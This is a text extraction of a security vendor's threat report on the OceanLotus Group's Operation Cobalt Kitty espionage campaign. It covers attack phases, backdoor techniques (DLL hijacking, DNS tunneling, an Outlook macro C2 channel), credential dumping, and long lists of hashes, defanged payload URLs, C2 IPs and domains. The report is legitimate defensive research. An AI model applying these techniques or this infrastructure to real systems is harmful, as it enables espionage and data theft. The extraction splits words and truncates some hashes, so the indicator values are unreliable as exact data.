+Internal Name
+ field (
+Geogle Update
+Threat Actor Profile
+The attackers behind Operation Cobalt Kitty were extremely persistent. Even when their
+campaign was exposed, the attackers did not give up. They took 
+pauses
+ that lasted between
+48 hours and four weeks and used the downtime to learn from their 
+mistakes
+ and develop
+workarounds before resuming the APT campaign.
+The members of the OceanLotus Group demonstrated a remarkable ability to quickly adapt,
+introduce new tools and fine tune existing ones to bypass security solutions and avoid detection.
+The high number of payloads and the elaborate C2 infrastructure used in this attack can be
+indicative of the resources that the attackers had at their disposal. Simultaneously orchestrating
+multiple APT campaigns of such magnitude and sophistication takes time, financial resources
+and a large team who can support it.
+Threat actor
+s main characteristics
+Here are the main characteristics that can help profile the threat actor:
+Motivation - Based on the nature of the attack, the proprietary information that the
+attackers were after and the high-profile personnel who were targeted, Cybereason
+concluded the main motivation behind the attack was cyber espionage. The attacker
+sought after specific documents and type of information. This is consistent with previous
+reports about the group
+s activity show that the group has a very wide range of targets,
+spanning from government agencies, media, business sector, and more.
+2017 Cybereason Inc. All rights reserved.
+Operational working hours - Most of the malicious activity was mostly done around
+normal business hours (8AM-8PM). Very little active hacking activity was detected
+during weekends. The attackers showed a slight tendency to carry out hacking
+operations towards the afternoon and evening time. These observations can suggest the
+following:
+ Time zone(s) proximity.
+ An institutionalized threat actor (possibly nation-state)
+Outlook backdoor and data exfiltration - One of the most interesting tools introduced
+by the attackers was the Outlook backdoor, which used Outlook as a C2 channel. This
+backdoor has not been publicly documented and is one of the most unique TTPs with
+regards to the threat actor. Outlook backdoors are not a new concept and have been
+observed in different APTs in the past. However, this specific type of Outlook backdoor
+is can be considered as one of the 
+signature tools
+ of the OceanLotus Group.
+Publicly available tools - The attackers showed a clear preference to use publicly
+available hacking tools and frameworks. Beyond being spared the hassle of creating a
+new tool, it is much harder to attribute a tool that can be used by anyone rather than a
+custom-made tool. However, the attackers should not be considered script-kiddies. Most
+of the publicly available tools were either obfuscated, modified and even merged with
+other tools to evade antivirus detection. This type of customization requires good coding
+skills and understanding of how those tools work.
+Cobalt Strike usage in APT - Cobalt Strike is a commercial offensive security
+framework designed to simulate complex attacks and is mainly used by security
+professionals in security audits and penetration testing. The OceanLotus Group was
+previously documented using Cobalt Strike as one of its main tools. Other Large scale
+APTs using Cobalt Strike have been reported before, such as APT-TOCS (could be
+related to OceanLotus), Ordinaff, Carbanak Group, and the Cobalt Group.
+Custom-built backdoors - The threat actor used very sophisticated and stealthy
+backdoors (Denis & Goopy) that were written by highly skilled malware authors. During
+the attack, the authors introduced new variants of these backdoors, indicating 
+on-thefly
+ development capabilities. Developing such state-of-the-art backdoors requires skillful
+malware authors, time and resources. In addition, both the Denis and Goopy backdoors
+used DNS Tunneling for C2 communication. The OceanLotus Group is known to have a
+backdoor dubbed SOUNDBITE by FireEye that use this stealthy technique. However, no
+public analysis reports of SOUNDBITE is available to the time of writing this report.
+Exploiting DLL hijacking in trusted applications - The attackers exploited three DLLhijacking vulnerabilities in legitimate applications from trusted vendors: Microsoft,
+Google and Kaspersky. This further indicates the group
+s emphasis on vulnerability
+research. DLL-hijacking / Side-loading attacks are not uncommon in APTs, some of
+which are also carried out by nation-state actors and advanced cyber-crime groups.
+2017 Cybereason Inc. All rights reserved.
+There have been reports in the past of GoogleUpdate exploited by PlugX by Chinese
+threat actors as well as the Bookworm RAT exploiting Microsoft and Kaspersky
+applications in APTs targeting Asia.
+Insisting on fileless operation - While fileless delivery infrastructure is not a feature
+that can be attributed to one specific group, it is still worth mentioning since the attackers
+went out of their way to restore the script-based PowerShell / Visual Basic operation,
+especially after PowerShell execution had been disabled in the entire organization.
+C&C infrastructure
+Divide and conquer - Each tool communicated with different sets of C&C
+servers domains, which usually came in triads. For instance, Cobalt strike
+payloads communicated with certain sets of IPs/domains while the backdoors
+communicated with different sets of IPs/domains.
+Re-use of domains and IPs across campaigns - Quite a few domains and IPs
+that were observed in Operation Cobalt Kitty were found in-the-wild, attacking
+other targets. It
+s rather peculiar why the threat actor re-used the same domains
+and IPs. It could be assumed that the malware operators wanted to have
+centralized C&C servers per tool or tools, where they could monitor all of their
+campaigns from dedicated servers.
+Anonymous DNS records - Most of the domains point to companies that
+provide DNS data privacy and anonymization, such as PrivacyProtect and
+PrivacyGuardian.
+C&C server protection - Most of the C&C servers IP addresses are protected
+by CloudFlare and SECURED SERVERS LLC.
+OceanLotus Group activity in Asia
+As part of the analysis of the domains and IPs that were used in this operation, Cybereason
+found samples that were caught 
+in-the-wild
+ (that were not part of Operation Cobalt Kitty).
+Analysis of those samples clearly indicates the involvement of the threat actor in Asia and
+Vietnam in particular. Both Qihoo 360 and FireEye demonstrate in their reports that the threat
+actor is involved in campaigns in different Asian countries, such as Vietnam, China, and the
+Philippines.
+Most of the samples caught in-the-wild seem to target Vietnamese speakers. Some of the
+samples exhibit clear evidence of targeting Vietnamese entities. This conclusion is derived from
+the file names and file contents that are written in Vietnamese, as shown in the examples below:
+File Name: 
+n tho
+y.doc
+SHA-1: 38297392df481d2ecf00cc7f05ce3361bd575b04
+Malicious Domain / IP: 193.169.245(.)137
+2017 Cybereason Inc. All rights reserved.
+File Name: ID2016.doc
+SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc
+Malicious Domain / IP: support.chatconnecting(.)com
+File Name: Gi
+i th
+ng m
+i 2016 - H
+ng.doc (Translation: 
+New Claim Form 2016
+SHA-1: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
+Malicious Domain / IP: blog.versign(.)info
+2017 Cybereason Inc. All rights reserved.
+Indicators of Compromise (IOCs)
+Malicious files
+Backdoors
+File name
+SHA-1 hash
+Msfte.dll
+------------Variant of
+Backdoor.Win32.Denis
+be6342fc2f33d8380e0ee5531592e9f676bb1f94
+638b7b0536217c8923e856f4138d9caff7eb309d
+dcbe007ac5684793ea34bf27fdaa2952c4e84d12
+43b85c5387aafb91aea599782622eb9d0b5b151f
+Goopdate.dll
+----------------Goopy backdoor
+9afe0ac621c00829f960d06c16a3e556cd0de249
+973b1ca8661be6651114edf29b10b31db4e218f7
+1c503a44ed9a28aad1fa3227dc1e0556bbe79919
+2e29e61620f2b5c2fd31c4eb812c84e57f20214a
+c7b190119cec8c96b7e36b7c2cc90773cffd81fd
+185b7db0fec0236dff53e45b9c2a446e627b4c6a
+ef0f9aaf16ab65e4518296c77ee54e1178787e21
+product_info.dll
+3cf4b44c9470fb5bd0c16996c4b2a338502a7517
+[Backdoor exploiting DLL-hijacking
+against Kaspersky Avpia]
+VbaProject.OTM
+320e25629327e0e8946f3ea7c2a747ebd37fe26f
+[Outlook Macro]
+sunjavascheduler.ps1
+sndVolSSO.ps1
+SCVHost.ps1
+fhsvcs.ps1
+Goztp.ps1
+0d3a33cb848499a9404d099f8238a6a0e0a4b471
+c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453
+91e9465532ef967c93b1ef04b7a906aa533a370e
+[PowerShell versions of the Denis
+/ Goopy backdoors]
+Cobalt Strike Beacons
+2017 Cybereason Inc. All rights reserved.
+File name
+SHA-1 hash
+dns.exe
+cd675977bf235eac49db60f6572be0d4051b9c07
+msfte.dll
+2f8e5f81a8ca94ec36380272e36a22e326aa40a4
+FVEAPI.dll
+01197697e554021af1ce7e980a5950a5fcf88318
+sunjavascheduler.ps1
+syscheck.ps1
+dns.ps1
+activator.ps1
+nvidia.db
+7657769f767cd021438fcce96a6befaf3bb2ba2d
+Ed074a1609616fdb56b40d3059ff4bebe729e436
+D667701804CA05BB536B80337A33D0714EA28129
+F45A41D30F9574C41FE0A27CB121A667295268B2
+7F4C28639355B0B6244EADBC8943E373344B2E7E
+Malicious Word Documents
+***Some of the phishing emails and Word documents were very targeted and
+personalized, therefore, they are not listed here for privacy reasons
+File name
+SHA-1 hash
+CV.doc
+Complaint letter.doc
+License Agreement.doc
+[redacted]
+Loader scripts
+File name
+SHA-1 hash
+syscheck.vbs
+62749484f7a6b4142a2b5d54f589a950483dfcc9
+SndVolSSO.txt
+cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d
+2017 Cybereason Inc. All rights reserved.
+sunjavascheduler.txt
+7a02a835016bc630aa9e20bc4bc0967715459daa
+Obfuscated / customized Mimikatz
+File name
+SHA-1 hash
+dllhosts.exe
+5a31342e8e33e2bbe17f182f2f2b508edb20933f
+23c466c465ad09f0ebeca007121f73e5b630ecf6
+14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C
+KB571372.ps1
+7CADFB90E36FA3100AF45AC6F37DC55828FC084A
+KB647152.exe
+7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129
+KB647164.exe
+BDCADEAE92C7C662D771507D78689D4B62D897F9
+kb412345.exe
+e0aaa10bf812a17bb615637bf670c785bca34096
+kb681234.exe
+4bd060270da3b9666f5886cf4eeaef3164fad438
+System.exe
+33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc
+550f1d37d3dd09e023d552904cdfb342f2bf0d35
+decoded base64
+Mimikatz payload
+c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4
+Customized credential dumpers
+File name
+SHA-1 hash
+2017 Cybereason Inc. All rights reserved.
+log.exe
+7f812da330a617400cb2ff41028c859181fe663f
+[GetPassword_x64]
+SRCHUI.dll
+adrclients.dll
+29BD1BAC25F753693DF2DDF70B83F0E183D9550D
+FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
+[HookPasswordChange]
+KB471623.exe
+6609A347932A11FA4C305817A78638E07F04B09F
+[Custom password dumper]
+doutlook.ps1
+adobe.dat
+adrclients.ps1
+EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
+B769FE81996CBF7666F916D741373C9C55C71F15
+E64C2ED72A146271CCEE9EE904360230B69A2C1D
+[Custom password dumper]
+Miscellaneous tools
+File name
+SHA-1 hash
+pshdll35.dll
+pshdll40.dll
+52852C5E478CC656D8C4E1917E356940768E7184
+EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89
+[PSUnlock - PowerShell Bypass
+tool]
+KB-10233.exe
+kb74891.exe
+C5e19c02a9a1362c67ea87c1e049ce9056425788
+0908a7fbc74e32cded8877ac983373ab289608b3
+[NetCat]
+IP.exe
+cmd.exe
+dllhost.exe
+6aec53554f93c61f4e3977747328b8e2b1283af2
+[IP check Tool]
+Payloads from C&C servers
+2017 Cybereason Inc. All rights reserved.
+Payload SHA-1 hash
+hxxp://104.237.218(.)67:80/icon.ico
+6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09
+hxxp://support.chatconnecting(.)com:80/icon.ico
+c41972517f268e214d1d6c446ca75e795646c5f2
+hxxp://food.letsmiles(.)org/login.txt
+9f95b81372eaf722a705d1f94a2632aad5b5c180
+hxxp://food.letsmiles(.)org/9niL
+5B4459252A9E67D085C8B6AC47048B276C7A6700
+hxxp://23.227.196(.)210:80/logscreen.jpg
+d8f31a78e1d158032f789290fa52ada6281c9a1f
+50fec977ee3bfb6ba88e5dd009b81f0cae73955e
+hxxp://45.114.117(.)137/eXYF
+D1E3D0DDE443E9D294A39013C0D7261A411FF1C4
+91BD627C7B8A34AB334B5E929AF6F981FCEBF268
+hxxp://images.verginnet(.)info:80/ppap.png
+F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402
+hxxp://176.107.176(.)6/QVPh
+8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C
+hxxp://108.170.31(.)69/a
+4a3f9e31dc6362ab9e632964caad984d1120a1a7
+hxxp://support(.)chatconnecting(.)com/pic.png
+bb82f02026cf515eab2cc88faa7d18148f424f72
+hxxp://blog.versign(.)info/access/?version=4&lid=[reda
+cted]&token=[redacted]
+9e3971a2df15f5d9eb21d5da5a197e763c035f7a
+hxxp://23.227.196(.)210/6tz8
+bb82f02026cf515eab2cc88faa7d18148f424f72
+hxxp://23.227.196(.)210/QVPh
+8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5
+hxxp://45.114.117(.)137/3mkQ
+91bd627c7b8a34ab334b5e929af6f981fcebf268
+hxxp://176.223.111(.)116:80/download/sido.jpg
+5934262D2258E4F23E2079DB953DBEBED8F07981
+hxxp://110.10.179(.)65:80/ptF2
+DA2B3FF680A25FFB0DD4F55615168516222DFC10
+hxxp://110.10.179(.)65:80/download/microsoftp.jpg
+23EF081AF79E92C1FBA8B5E622025B821981C145
+hxxp://110.10.179(.)65:80/download/microsoft.jpg
+C845F3AF0A2B7E034CE43658276AF3B3E402EB7B
+2017 Cybereason Inc. All rights reserved.
+hxxp://27.102.70(.)211:80/image.jpg
+9394B5EF0B8216528CED1FEE589F3ED0E88C7155
+C&C IPs
+45.114.117(.)137
+104.24.119(.)185
+104.24.118(.)185
+23.227.196(.)210
+23.227.196(.)126
+184.95.51(.)179
+176.107.177(.)216
+192.121.176(.)148
+103.41.177(.)33
+184.95.51(.)181
+23.227.199(.)121
+108.170.31(.)69
+104.27.167(.)79
+104.27.166(.)79
+176.107.176(.)6
+184.95.51(.)190
+176.223.111(.)116
+110.10.179(.)65
+27.102.70(.)211
+C&C Domains
+food.letsmiles(.)org
+help.chatconnecting(.)com
+*.letsmiles(.)org
+support.chatconnecting(.)com
+inbox.mailboxhus(.)com
+blog.versign(.)info
+news.blogtrands(.)net
+stack.inveglob(.)net
+tops.gamecousers(.)com
+nsquery(.)net
+tonholding(.)com
+cloudwsus(.)net
+nortonudt(.)net
+teriava(.)com
+tulationeva(.)com
+2017 Cybereason Inc. All rights reserved.
+vieweva(.)com
+notificeva(.)com
+images.verginnet(.)info
+id.madsmans(.)com
+lvjustin(.)com
+play.paramountgame(.)com
+Appendix A: Threat actor payloads caught in the wild
+Domain
+Details
+VirusTotal
+inbox.mailboxhus(.)com
+support.chatconnecting(.)com
+File name: Flash.exe
+SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09
+Submitted: 2016-12-28 09:51:13
+Link
+File name: Flash.exe
+SHA-1:
+562aeced9f83657be218919d6f443485de8fae9e
+Submitted: 2017-01-18 19:00:41
+Link
+URL: hxxp://support(.)chatconnecting.com/2nx7m
+Submitted: 2017-01-20 10:11:47
+Link
+File name: ID2016.doc
+SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc
+Submitted: 2016-11-23 08:18:43
+Link
+(45.114.117.137)
+inbox.mailboxhus(.)com
+support.chatconnecting(.)com
+(45.114.117[.]137)
+support.chatconnecting(.)com
+(45.114.117[.]137)
+support.chatconnecting(.)com
+(45.114.117[.]137)
+Malicious Word document (Phishing text in Vietnamese)
+blog(.)versign(.)info
+(23.227.196[.]210)
+blog(.)versign(.)info
+(23.227.196[.]210)
+File name: tx32.dll
+SHA-1:
+604a1e1a6210c96e50b72f025921385fad943ddf
+Submitted: 2016-08-15 04:04:46
+File name: Gi
+i th
+ng m
+i 2016 - H
+ng.doc
+SHA-1:
+a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
+Submitted: 2016-10-06 11:03:54
+Link
+Link
+Malicious Word document with Phishing text in
+Vietnamese
+2017 Cybereason Inc. All rights reserved.
+blog(.)versign(.)info
+File name: Thong tin.doc
+SHA-1: a5fbcbc17a1a0a4538fd987291f8dafd17878e33
+Submitted: 2016-10-25
+(23.227.196[.]210)
+Link
+Malicious Word document with Phishing text in
+Vietnamese
+Images.verginnet(.)info
+File name: WinWord.exe
+SHA-1:
+ea67b24720da7b4adb5c7a8a9e8f208806fbc198
+Submitted:
+id.madsmans(.)com
+Link
+(176.107.176[.]6)
+Cobalt Strike payload
+Downloads hxxp://images.verginnet(.)info/2NX7M
+Using Cobalt Strike malleable c2 oscp profile
+tonholding(.)com
+nsquery(.)net
+File name: SndVolSSO.exe
+SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa
+Submitted: 2016-08-01 09:03:58
+Link
+Denis Backdoor Variant
+tonholding(.)com
+nsquery(.)net
+File name: Xwizard / KB12345678.exe
+SHA-1:
+d48602c3c73e8e33162e87891fb36a35f621b09b
+Submitted: 2016-08-01
+Link
+teriava(.)com
+File name: CiscoEapFast.exe
+SHA-1:
+77dd35901c0192e040deb9cc7a981733168afa74
+Submitted: 2017-02-28 16:37:12
+Link
+Denis Backdoor Variant
+Appendix B: Denis Backdoor samples in the wild
+File name
+SHA-1
+Domain
+msprivs.exe
+97fdab2832550b9fea80ec1b9
+c182f5139e9e947
+teriava(.)com
+WerFault.exe
+F25d6a32aef1161c17830ea0c
+b950e36b614280d
+teriava(.)com
+msprivs.exe
+1878df8e9d8f3d432d0bc8520
+595b2adb952fb85
+teriava(.)com
+CiscoEapFast.exe
+094.exe
+1a2cd9b94a70440a962d9ad7
+8e5e46d7d22070d0
+teriava(.)com,
+tulationeva(.)com,
+2017 Cybereason Inc. All rights reserved.
+notificeva(.)com
+CiscoEapFast.exe
+77dd35901c0192e040deb9cc
+7a981733168afa74
+SwUSB.exe
+F:\malware\Anh
+ng\lsma.exe
+88d35332ad30964af4f55f1e44 gl-appspot(.)org
+c951b15a109832
+tonholding(.)com
+nsquery(.)net
+Xwizard.exe
+KB12345678.exe
+d48602c3c73e8e33162e8789
+1fb36a35f621b09b
+tonholding(.)com
+nsquery(.)net
+SndVolSSO.exe
+1fef52800fa9b752b98d3cbb8ff
+f0c44046526aa
+tonholding(.)com
+nsquery(.)net
+2017 Cybereason Inc. All rights reserved.
+teriava(.)com,
+tulationeva(.)com,
+notificeva(.)com
+Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and
+active monitoring services. Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives
+enterprises the upper hand over cyber adversaries. The Cybereason platform is powered by a custom-built in-memory graph,
+the only truly automated hunting engine anywhere. It detects behavioral patterns across every endpoint and surfaces malicious
+operations in an exceptionally user-friendly interface. Cybereason is privately held and headquartered in Boston with offices in
+London, Tel Aviv, and Tokyo.
+2016 Cybereason. All rights reserved.
+A Large Scale Cyber Espionage APT in Asia
+cybereason.com /labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/
+5/23/2017
+Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group
+Post by: Assaf Dahan
+The investigation of a massive cyber espionage APT (Advanced Persistent Threat) became a game of
+one-upmanship between attackers and defenders. Dubbed Operation Cobalt Kitty, the APT targeted
+a global corporation based in Asia with the goal of stealing proprietary business information. The threat actor
+targeted the company
+s top-level management by using sophisticated spear-phishing attacks as the initial
+penetration vector, ultimately compromising the computers of vice presidents, senior directors and other key
+personnel in the operational departments. During Operation Cobalt Kitty, the attackers compromised more than 40
+PCs and servers, including the domain controller, file servers, Web application server and database server.
+Forensic artifacts revealed that the attackers persisted on the network for at least a year before Cybereason was
+deployed. The adversary proved very adaptive and responded to company
+s security measures by periodically
+changing tools, techniques and procedures (TTPs), allowing them to persist on the network for such an extensive
+period of time. Over 80 payloads and numerous domains were observed in this operation 
+ all of which were
+undetected by traditional security products deployed in the company
+s environment at the time of the attack.
+The attackers arsenal consisted of modified publicly-available tools as well as six undocumented custom-built
+tools, which Cybereason considers the threat actor
+s signature tools. Among these tools are two backdoors that
+exploited DLL sideloading attack in Microsoft, Google and Kaspersky applications. In addition, they developed
+a novel and stealthy backdoor that targets Microsoft Outlook for command-and-control channel and data
+exfiltration.
+Based on the tools, modus operandi and IOCs (indicators of compromise) observed in Operation Cobalt Kitty,
+Cybereason attributes this large-scale cyber espionage APT to the 
+OceanLotus Group
+ (which is also known as,
+APT-C-00, SeaLotus and APT32). For detailed information tying Operation Cobalt Kitty to the OceanLotus Group,
+please see our Attacker
+s Arsenal and Threat Actor Profile sections.
+Cybereason also attributes the recently reported Backdoor.Win32.Denis to the OceanLotus Group, which at the time
+of this report
+s writing, had not been officially linked to this threat actor.
+Finally, this report offers a rare glimpse into what a cyber espionage APT looks like 
+under-the-hood
+. Cybereason
+was able to monitor and detect the entire attack lifecycle, from infiltration to exfiltration and all the steps in
+between.
+Our report contains the following detailed sections (PDF):
+High-level attack outline: A cat-and-mouse game in four acts
+The following sections outline the four phases of the attack as observed by Cybereason
+s analysts, who were called
+to investigate the environment after the company
+s IT department suspected that their network was breached but
+could not trace the source.
+Phase one: Fileless operation (PowerShell and Cobalt Strike payloads)
+1/14
+Based on the forensic evidence collected from the environment, phase one was the continuation of the original
+attack that began about a year before Cybereason was deployed in the environment. During that phase, the threat
+actor operated a fileless PowerShell-based infrastructure, using customized PowerShell payloads taken from
+known offensive frameworks such as Cobalt Strike, PowerSploit and Nishang.
+The initial penetration vector was carried out by social engineering. Carefully selected group of employees received
+spear-phishing emails, containing either links to malicious sites or weaponized Word documents. These documents
+contained malicious macros that created persistence on the compromised machine using two scheduled tasks,
+whose purpose was to download secondary payloads (mainly Cobalt Strike Beacon):
+Scheduled task 1: Downloads a COM scriptlet that redirects to Cobalt Strike payload:
+Scheduled task 2: Uses Javascript to download a Cobalt Strike Beacon:
+See more detailed analysis of the malicious documents in our Attack Life Cycle section.
+Fileless payload delivery infrastructure
+2/14
+In the first phase of the attack, the attackers used a fileless in-memory payload delivery infrastructure consisting of
+the following components:
+1. VBS and PowerShell-based loaders
+The attackers dropped Visual Basic and PowerShell scripts in folders that they created under the ProgramData (a
+hidden folder, by default). The attackers created persistence using Windows
+ registry, services and scheduled tasks.
+This persistence mechanism ensured that the loader scripts would execute either at startup or at predetermined
+intervals.
+Values found in Windows
+ Registry: the VBS scripts are executed by Windows
+ Wscript at startup:
+The .vbs scripts as well as the .txt files contain the loader
+s script, which launches PowerShell with a base64
+encoded command, which either loads another PowerShell script (e.g Cobalt Strike Beacon) or fetches a payload
+from the command-and-control (C&C) server:
+3/14
+2. In-memory fileless payloads from C&C servers
+The payloads served by the C&C servers are mostly PowerShell scripts with embedded base64-encoded payloads
+(Metasploit and Cobalt Strike payloads):
+Example 1: PowerShell payload with embedded Shellcode downloading Cobalt Strike Beacon
+The decoded payload is a shellcode, whose purpose is to retrieve a Cobalt Strike Beacon from the C&C server:
+4/14
+Example 2: Cobalt Strike Beacon embedded in obfuscated PowerShell
+A second type of an obfuscated PowerShell payload consisted of Cobalt Strike
+s Beacon payload:
+Less than 48 hours after Cybereason alerted the company about the breach , the attackers started to change
+their approach and almost completely abandoned the PowerShell infrastructure that they had been using 
+ replacing
+it with sophisticated custom-built backdoors. The attackers
+ remarkable ability to quickly adapt demonstrated their
+skill and familiarity with and command of the company
+s network and its operations.
+5/14
+The attackers most likely replaced the PowerShell infrastructure after the company used both Windows Group
+Policy Object (GPO) and Cybereason
+s execution prevention feature to prevent PowerShell execution.
+Phase two: Backdoors exploiting DLL-hijacking and using DNS tunneling
+After realizing that the PowerShell infrastructure had been discovered, the attackers had to quickly replace it to
+maintain persistence and continue the operation. Replacing this infrastructure in 48 hours suggests that the threat
+actors were prepared for such a scenario.
+During the second phase of the attack, the attackers introduced two sophisticated backdoors that they
+attempted to deploy on selected targets. The introduction of the backdoors is a key turning point in the
+investigation since it demonstrated the threat actor
+s resourcefulness and skill-set.
+At the time of the attack, these backdoors were undetected and undocumented by any security vendor.
+Recently, Kaspersky researchers identified a variant of one of the backdoors as Backdoor.Win32.Denis. The
+attackers had to make sure that they remained undetected so the backdoors were designed to be as stealthy as
+possible. To avoid being discovered, the malware authors used these techniques:
+Backdoors exploiting DLL hijacking against trusted applications
+The backdoor exploited a vulnerability called 
+ DLL hijacking
+ in order to 
+hide
+ the malware inside trusted software.
+This technique exploits a security vulnerability found in legitimate software, which allows the attackers to load a fake
+DLL and execute its malicious code.
+Please see an analysis of the backdoors in the Attacker
+s Arsenal section.
+The attackers exploited this vulnerability against the following trusted applications:
+Windows Search (vulnerable applications: searchindexer.exe /searchprotoclhost.exe)
+Fake DLL: msfte.dll (638b7b0536217c8923e856f4138d9caff7eb309d)
+6/14
+Google Update (d30e8c7543adbc801d675068530b57d75cabb13f)
+Fake DLL: goopdate.dll (973b1ca8661be6651114edf29b10b31db4e218f7)
+7/14
+Kaspersky
+s Avpia
+(691686839681adb345728806889925dc4eddb74e)
+Fake DLL: product_info.dll
+(3cf4b44c9470fb5bd0c16996c4b2a338502a7517)
+By exploiting legitimate software, the attackers bypassed application whitelisting and legitimate security software,
+allowing them to continue their operations without raising any suspicions.
+DNS Tunneling as C2 channel 
+In attempt to overcome network filtering solutions, the attackers implemented a stealthier C2 communication
+method, using 
+DNS Tunneling
+ a method of C2 communicating and data exfiltration using the DNS protocol. To
+ensure that the DNS traffic would not be filtered, the attackers configured the backdoor to communicate with Google
+and OpenDNS DNS servers, since most organizations and security products will not filter traffic to those two major
+DNS services.
+8/14
+The screenshot below shows the traffic generated by the backdoor and demonstrates DNS Tunneling for C2
+communication. As shown, while the destination IP is 
+8.8.8.8
+ Google
+s DNS server 
+ the malicious domain is
+hiding
+ inside the DNS packet:
+9/14
+Phase three: Novel MS Outlook backdoor and lateral movement spree
+In the third phase of the operation, the attackers harvested credentials stored on the compromised machines and
+performed lateral movement and infected new machines. The attackers also introduced a very rare and stealthy
+technique to communicate with their servers and exfiltrate data using Microsoft Outlook.
+Outlook macro backdoor
+In a relentless attempt to remain undetected, the attackers devised a very stealthy C2 channel that is hard to detect
+10/14
+since it leverages an email-based C2 channel. The attackers installed a backdoor macro in Microsoft Outlook
+that enabled them to execute commands, deploy their tools and steal valuable data from the compromised
+machines.
+For a detailed analysis of the Outlook backdoor, please see the Attacker
+s Arsenal section.
+This technique works as follows:
+1. The malicious macro scans the victim
+s Outlook inbox and looks for the strings 
+$$cpte
+ and 
+$$ecpte
+2. Then the macro will open a CMD shell that will execute whatever instruction / command is in between the
+strings.
+3. The macro deletes the message from inbox to ensure minimal risk of exposure.
+4. The macro searches for the special strings in the 
+Deleted Items
+ folder to find the attacker
+s email address
+and sends the data back to the attackers via email.
+5. Lastly, the macro will delete any evidence of the emails received or sent by the attackers.
+Credential dumping and lateral movement
+The attackers used the famous Mimikatz credential dumping tool as their main tool to obtain credentials including
+user passwords, NTLM hashes and Kerberos tickets. Mimikatz is a very popular tool and is detected by most
+antivirus vendors and other security products. Therefore, the attackers used over 10 different customized Mimikatz
+payloads, which were obfuscated and packed in a way that allowed them to evade antivirus detection.
+The following are examples of Mimikatz command line arguments detected during the attack:
+11/14
+The stolen credentials were used to infect more machines, leveraging Windows built-in tools as well as pass-theticket and pass-the-hash attacks.
+Phase four: New arsenal and attempt to restore PowerShell infrastructure
+After a four week lull and no apparent malicious activity, the attackers returned to the scene and introduced new and
+improved tools aimed at bypassing the security mitigations that were implemented by the company
+s IT team. These
+tools and methods mainly allowed them to bypass the PowerShell execution restrictions and password
+dumping mitigations.
+During that phase, Cybereason found a compromised server that was used as the main attacking machine, where
+the attackers stored their arsenal in a network share, which made it easier to spread their tools to other machines
+on the network. The attackers
+ arsenal consisted:
+New variants of Denis and Goopy backdoors
+PowerShell Restriction Bypass Tool 
+ Adapted from PSUnlock Github project.
+PowerShell Cobalt Strike Beacon 
+ New payload + new C2 domain
+12/14
+PowerShell Obfuscator 
+ All the new PowerShell payloads are obfuscated using a publicly available
+script adapted from a Daniel Bohannon
+s GitHub project.
+HookPasswordChange 
+ Inspired by tools found on GitHub, this tool alerts the attackers if a password has
+been changed. Using this tool, the attackers could overcome a password reset. The attackers modified their
+tool.
+Customized Windows Credentials Dumper 
+ A PowerShell password dumper that is based on a known
+password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to
+obtain Outlook passwords.
+Customized Outlook Credentials Dumper 
+ Inspired by known Outlook credentials dumpers.
+Mimikatz 
+ PowerShell and Binary versions, with multiple layers of obfuscation.
+Please see the Attacker
+s Arsenal section for detailed analysis of the tools.
+An analysis of this arsenal shows that the attackers went out of their way to restore the PowerShell-based
+infrastructure, even though it had already been detected and shut down once. The attackers
+ preference to use a
+fileless infrastructure specifically in conjunction with Cobalt Strike is very evident. This could suggest that the
+attackers preferred to use known tools that are more expendable rather than using their own custom-built tools,
+which were used as a last resort.
+Conclusion
+Operation Cobalt Kitty was a major cyber espionage APT that targeted a global corporation in Asia and was carried
+out by the OceanLotus Group. The analysis of this APT proves how determined and motivated the attackers were.
+They continuously changed techniques and upgraded their arsenal to remain under the radar. In fact, they never
+gave up, even when the attack was exposed and shut down by the defenders.
+During the investigation of Operation Cobalt Kitty, Cybereason uncovered and analyzed new tools in the OceanLotus
+Group
+s attack arsenal, such as:
+New backdoor (
+Goopy
+) using HTTP and DNS Tunneling for C2 communication.
+Undocumented backdoor that used Outlook for C2 communication and data exfiltration.
+Backdoors exploiting DLL sideloading attacks in legitimate applications from Microsoft, Google and
+Kaspersky.
+Three customized credential dumping tools, which are inspired by known tools.
+In addition, Cybereason uncovered new variants of the 
+Denis
+ backdoor and managed to attribute the backdoor to
+the OceanLotus Group 
+ a connection that had not been publicly reported before.
+This report provides a rare deep dive into a sophisticated APT that was carried out by one of the most fascinating
+groups operating in Asia. The ability to closely monitor and detect the stages of an entire APT lifecycle 
+ from initial
+infiltration to data exfiltration 
+ is far from trivial.
+The fact that most of the attackers
+ tools were not detected by the antivirus software and other security products
+deployed in the company
+s environment before Cybereason, is not surprising. The attackers obviously invested
+significant time and effort in keeping the operation undetected, striving to evade antivirus detection.
+As the investigation progressed, some of the IOCs observed in Operation Cobalt Kitty started to emerge in the wild,
+and recently some were even reported being used in other campaigns. It is important to remember, however, that
+IOCs have a tendency to change over time. Therefore, understanding a threat actor
+s behavioral patterns is
+13/14
+essential in combatting modern and sophisticated APTs. The modus operandi and tools served as behavioral
+fingerprints also played an important role in tying Operation Cobalt Kitty to the OceanLotus Group.
+Lastly, our research provides an important testimony to the capabilities and working methods of the OceanLotus
+Group. Operation Cobalt Kitty is unique in many ways, nonetheless, it is still just one link in the group
+s evergrowing chain of APT campaigns. Orchestrating multiple APT campaigns in parallel and attacking a broad spectrum
